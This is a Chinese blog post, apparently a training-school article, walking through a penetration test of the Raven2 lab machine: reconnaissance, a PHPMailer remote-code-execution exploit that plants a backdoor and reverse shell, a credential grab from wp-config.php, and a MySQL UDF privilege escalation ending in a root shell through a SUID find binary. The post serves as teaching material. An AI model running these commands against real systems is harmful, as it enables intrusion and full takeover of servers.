前端开发入门到精通的在线学习网站

网站首页 > 资源文章 正文

想学渗透学不会?手把手教你渗透实战流程

qiguaw 2025-04-26 20:29:22 资源文章 3 ℃ 0 评论

提权是渗透测试中一个非常重要的环节。MySQL 是大家再熟悉不过的一种数据库了。同样在渗透测试中,MySQL也是漏洞利用的常见点,利用MySQL不仅仅是进入数据库进行增删改查,或者get shell ,更多的利用MySQL是在提高权限上。除此之外,在应聘者面试中,MySQL的提权操作,也是经常被问的一个问题。

0x00 信息收集

用nmap探测靶机所在网段

nmap -sV 192.168.2.0/24

因为服务提供给外部是通过端口来实现的,通过端口我们可以探测主机开启了什么服务。

可以看到靶机开启了22,80,111 端口,开启对应的服务分别是 ssh,http,rpcbind服务

0x01 尝试爆破ssh

爆破账号密码失败

0x02 尝试web服务

先四处点击看一看,看看有没有什么可以利用的点,如果没有什么发现,还可以敏感文件探测一下。很幸运发现搭建了wordpress博客 。

点击博客,发现进行了302跳转

因为你域名一开始是ip后面跟着wordpress,点击确发生了域名+wordpress,网站还是那个网站,但是确访问不到了,是因为raven.local 没有被解析为192.168.2.139,所以要在攻击机上配置hosts文件。

vim /etc/hosts

再次访问

尝试wordpress 测试 利用wpscan 进行探测

wpscan --url http://raven.local/wordpress/

尝试用户枚举

wpscan --url http://raven.local/wordpress/ --enumerate u

枚举失败,但是发现了很多的敏感文件目录

依次探测发现了flag3,看来敏感文件探测中有东西,直接敏感文件探测

0x03 敏感文件探测

既然有敏感文件泄露,就直接探测网站根目录下的敏感文件

dirb http://raven.local/

依次访问,发现当访问到vendor时,出现了目录

依次点击查看,发现了flag1 ,网站路径,还有可以利用漏洞的phpmail,和版本信息

0x04 phpmail 版本漏洞利用

搜寻可以利用的漏洞

searchsploit phpmail

由于目标版本是5.2.16 因此很多的exploit 都可以用,但是我们要尽快取得权限,所以直接选可以命令执行的exploit,又因为python脚本最好利用,所以我们直接选择 40974.py

注意:exploit 的路径为

┌──(rootkali)-[/usr/…/exploitdb/exploits/php/webapps]
└─# pwd
/usr/share/exploitdb/exploits/php/webapps

将40974.py复制到桌面

cp 40974.py /root/Desktop

编辑 40974.py

我们需要修改的是目标地址,监听地址和端口,目标网站路径(这个前面已经说过了为/var/www/html/)和后门文件名,为了使网站更快的解析我们的请求,我们要设置目标为ip然后注入到一个php文件内

修改之后为

执行exploit,此时已经将后门注入到了这个contact.php 文件

访问链接,生成后门

http://192.168.2.139/contact.php

开启4444监听端口

访问后门地址,反弹shell

http://192.168.2.139/back.php

拿到flag2

0x05 提权准备

有的时候这种shell可能会中断,因此我们要开启一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

一般到了这个时候,就需要提权了。因为我们是从网站打进来的,网站就会有交互,和谁交互呢? 和数据库交互。既然和数据库交互,那网站配置文件里面是不是有数据库的配置信息? 既然有数据库信息,我们是不是就可以利用数据库进行提权操作。所以说数据库提权是很常用的提权操作。

查找配置文件的敏感词,比如username,password等

grep "password" -rn wp-config.php

可以看到配置文件里面有数据库配置信息

cat wp-config.php

得到MySQL 用户:root 密码:R@v3nSecurity

尝试连接MySQL,连接成功,版本是5.5.60

MySQL -uroot -pR@v3nSecurity

查看是否具有导入导出的权限,没有导入导出权限是无法提权的

show global variables like 'secure%';

发现没有任何限制,可以进行提权操作,即secure_file_priv的值什么都没有。

0x06 进行提权

搜索MySQL提权exploit udf ,我们找到适合5.0版本的exploit

复制exploit 到桌面

编译1518.c 为.o文件 gcc -g -c 1518.c

创建动态链接库 gcc -g -shared -o test.so 1518.o -lc

命令参数解释

-g 生成调试信息 -c 编译(二进制)-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。-o:执行命令后的文件名 -lc:-l 库 c库名

攻击机器开启http服务,将test.so放到攻击机网站目录中,从而使目标机通过web服务,下载test.so

操作目标机,下载动态链接库

wget http://192.168.2.131/test.so

进入到数据库,进行以下操作

连接MySQL
MySQL -uroot -pR@v3nSecurity
使用MySQL表
use MySQL;
创建表raven2
create table raven2(line blob);
往表中插入刚才上传的文件
insert into raven2 values(load_file('/var/www/html/test.so'));
把文件导出
select * from raven2 into dumpfile '
/usr/lib/MySQL/plugin/test.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'test.so';
查看创建的函数
select * from MySQL.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
执行find命令
find / -exec "/bin/sh" \;

提权成功

进入到/root,获取flag

蜂鸟信安学苑秉承“以人为本”的理念,专注于网络安全行业教育事业,以“就业”为己任,以“实战成长进阶”为目标,以“实战技能培养”为核心,通过多元化实践以及内部模拟实战方式,为真正热爱网络安全的学员提供全面综合能力进阶的平台,欢迎网上咨询或前来参观。

学完蜂鸟课程各阶段将掌握的能力


网络基础

能够掌握网络的通讯原理、网络协议、ACL规则的分配、路由的操作等,在工作中能够发现、排查常见的网络问题。


系统和环境

了解Linux、Windows的特性及操作,能够解决常见的服务器问题,包括中间件的部署、调试,能够胜任大部分日常的运维工作。


数据库

通过学习可以掌握常见的数据库的部署、配置、常见的操作以及安全排查的能力。


安全产品

通过学习能够掌握常见的安全设备(例如WAF、SOC、FW等)的原理、特性、作用场景以及如何分析安全产品输出的结果,并不局限于某一家安全厂商的产品,在工作的时候能够从容应对。


产品经理

掌握产品的功能、特性包括产品的上架规划、部署架构等。同时还能掌握标书的编写,与技术人员的沟通方式,有利于日常工作中的有效的交流。

开发语言

通过多种编程语言的学习,可了解各个语言的特性,寻找适合自己的语言,同时保证自己遇到别的语言的问题的时候能够调试、分析。


web漏洞

能够掌握漏洞的产生原因、攻击手段、修复方式,在平常的工作中可综合灵活地运用。


CTF

了解CTF的各个方向所需的技能,着重讲解的web方向的题型、解题思路。


渗透测试

掌握WEB系统渗透测试方法,能够编写渗透测试报告,以及如何给出合适的修复建议。


攻防演练

了解接下来工作期间需要参与的重大项目,规则、攻击手段、报告编写的方式,能够单独参与小目标的项目。


应急响应

无论是在甲方还是在乙方,都需要掌握的一项技能,如何应对威胁、威胁的分类以及如何处置威胁更快的回复业务,复盘总结如何加固现有的安全体系。

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表